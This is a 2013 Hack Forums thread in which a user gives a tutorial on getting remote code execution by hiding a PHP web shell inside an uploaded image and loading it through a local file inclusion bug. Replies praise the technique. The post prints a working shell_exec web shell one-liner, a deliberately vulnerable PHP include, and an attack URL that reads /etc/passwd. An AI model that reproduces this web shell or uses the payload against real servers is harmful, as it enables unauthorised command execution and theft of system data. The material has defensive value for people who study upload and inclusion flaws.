

Forum: [Hack Forums](#)

Thread: [LFI vulnerability + image upload form? You got Remote Code Execution!](#)

cheatson - October 31, 2013, 11:57 am

Idea from this post: <https://hackforums.net/showthread.php?tid=3834690> where the guy found this error in his logs after being hacked:

Quote:[error] [client 113.1.1.1] PHP Warning: Unexpected character in input: '\x01' (ASCII=1) state=0 in /var/www/html/photo/123.gif : eval()'d code on line 1, referer: site.com

This reminded me of the technique I illustrated in this blog post where php code could be smuggled into real images:

<http://hackers2devnull.blogspot.co.uk/2013/05/how-to-shell-server-via-image-upload.html>.

That method, however, is dependent on the file extension uploaded actually being interpreted as PHP which relies on insecure upload code. The /photo/ folder was also being blocked from accessing directly in the httpd.conf file:

```
Quote:<Directory /var/www/html/photo>
Order Deny,Allow
Deny from All
</Directory>
```

So how was it done? Here is one possible explanation- RCE via LFI/Image upload (which assumes there is a local file inclusion vulnerability somewhere else on the website :/):

The photo folder isn't accessible to site users, however this restriction doesn't apply to local file includes. So, assuming we can upload a 'trojanised' image to the server, we can use a local file inclusion vulnerability elsewhere on the site to include it and run arbitrary php code.

This process has been illustrated below: the following code was inserted into a simple image (see earlier link on how to do it) which passes parameters to shell_exec.

PHP Code

```
<?if($_GET['r0ng']){echo"<pre>".shell_exec($_GET['r0ng']);}?>
```

In the document root we have an insecure (too say the least) php file that is vulnerable to local file inclusion:

PHP Code

```
<?php include($_GET['file']);?>
```

The result, by including the path to the image, is RCE:

Code <http://vulnsite.com/includes.php?file=forum/images/shellexec.jpg&r0ng=cat /etc/passwd>

Any errors in the code that was inserted into the image would be reported as PHP errors in the image itself as opposed to the include file which might explain the weird error reported by the website admin.

Caveat, this is obviously dependent on the severity of the LFI vulnerability in being to include a

non-php extension file.

[img]http://img24.imageshack.us/img24/1800/5o9x.png[/img]

whitehatreborn - *October 31, 2013, 1:48 pm*

Thinking out of the box. So simple yet so useful.

Thanks.

phlower - *October 31, 2013, 1:56 pm*

hey man nice tutorial if you could remove me from your ignore list, i would like to talk about sex again i dont know why you dont like butt, thanks

mimikins - *March 24, 2014, 7:46 am*

Excellent!! Very well laid out Tutorial....actually exactly what I was looking for!